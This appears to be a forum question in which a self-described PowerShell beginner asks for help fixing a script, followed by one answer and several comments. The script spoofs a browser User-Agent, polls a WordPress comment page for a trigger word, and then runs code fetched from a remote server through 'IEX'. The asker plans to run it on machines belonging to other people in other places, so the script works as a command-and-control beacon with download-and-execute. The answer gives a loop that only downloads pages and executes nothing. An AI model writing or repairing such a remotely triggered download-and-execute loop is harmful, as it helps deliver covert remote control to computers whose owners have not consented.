0

I'm a totally powershell newbie, so please be indulgent ;)

I'm trying to write a script where a machine check an external website waiting for a the word: "test" to execute a download. The things goes like this:

$Word = 'test'
$WebClientObject = New-Object Net.WebClient
$comment = "http://MySite.wordpress.com/comment_section/"
$WebClientObject.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1667.0 Safari/537.36)")

While($True) {
  $CommentResult = $WebClientObject.DownloadString($comment)
  $Found = $CommentResult.contains($Word)

  If ($Found) {
    IEX $WebClientObject.DownloadString('http://A_Server_That_Is_Accessible/Tasks_to_do')
    #Task_to_do and some blabla commands
    Return
  }
  Start-Sleep -Seconds 60
}

I'm running powershell 2.0. Windows7

What happened:

  • the download is not executed over internet
  • it is not a issue coming from IPs or paths

What I've done next:

  • I directly write the different commands in the powershell prompt:

--> the While($True) initiate an endless loop without exiting it.

To make the trick I need to "double click return on my keyboard", the loop's ending and the "downloadstring" command is finally executed.

Still remember I'm more than a newbie, right? :(

  • I tried "break" "return" or "exit" bu impossible to quit the loop.
  • I tried to put many double carriage return in my script also without any success.

Would someone please indicates me the way to do this simple thing...? :)

Thanks a lot.

UPDATE Those little lines should be utilize by different persons in different places (that's one of the reason of a deported website), and i just do not have possibility to update the remote machines to a newer version of powershell. If anybody have any Microsoft powershell guru in his contact, it will be just a tremendous help. Thank you all guys.

1
  • I dont really understand what you are trying to do... You download a webpage, search for a String and if found, you are downloading other page? Is that what you want to achieve? Why are you looping over and over with while loop? If found, download the file and thats all, right? Now you are doing it infinitely. Commented Nov 14, 2014 at 21:26

1 Answer 1

0

Ok, here's a simple example of what I think you are trying to do:

$Path = New-Object System.Uri("http://localwire.pl/");
$WebClient = New-Object Net.WebClient;
$Word = "PhraseThatDoesNotExist"

While ($True){

    $Result = $WebClient.DownloadString($Path);
    $Found = $Result.Contains($Word);

    If ($Found){
        $Path = New-Object System.Uri("http://stackoverflow.com");
        $NewResult = $WebClient.DownloadString($Path);
        Write-Host "Found!"
        Break;
    } Else {
        Write-Host "Not found!"
    }
    Start-Sleep -s 5
}

We are downloading one webpage and if it contains phrase we were looking for, we are downloading the other page. I hope I understood you right. If not, please let us know what exactly you need.

12
  • Thank you for your answers and to be more clear: I want a word written on a web page triggers the download of a file from another remote machine. The idea is to be able to drive from point A, point B for it to go look for information at a point C. I use a while loop to point B is always "listen" to the instructions given by point A. I want this operation can be in the repeat time. But I do it probably very awkwardly. Thank you very much for your help. Commented Nov 14, 2014 at 22:04
  • Ok I've edited the code, so now it waits 5s to check again. It's not the most beautiful idea to be honest but does what You want. Commented Nov 14, 2014 at 22:12
  • Unfortunately this does not solves the problem. I stay in an infinite loop that will take control of systematic way. What I need is a key word for example "test" that triggered action download. once, but the machine is listening to the next order of download. I hope not to be too confusing. Commented Nov 14, 2014 at 22:45
  • to be more precise and less complicated: as all this seems over my level: When I initiate a while loop in my powershell prompt recess I have this symbol >> that appears (waiting for more arguments). I finished my loop with a "}". But the symbol >> is still there. I am obliged again to press the return key on my keyboard to play the order. How can I make that from a script and not from the powershell prompt? I tried to put "Return" (in my initial script) after the "}". Nothing. Neither with "Break" or "Exit" instead of "Return". Commented Nov 14, 2014 at 23:19
  • i also tried to put 'r or 'n at this end of my script with no more success.. Commented Nov 14, 2014 at 23:21

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .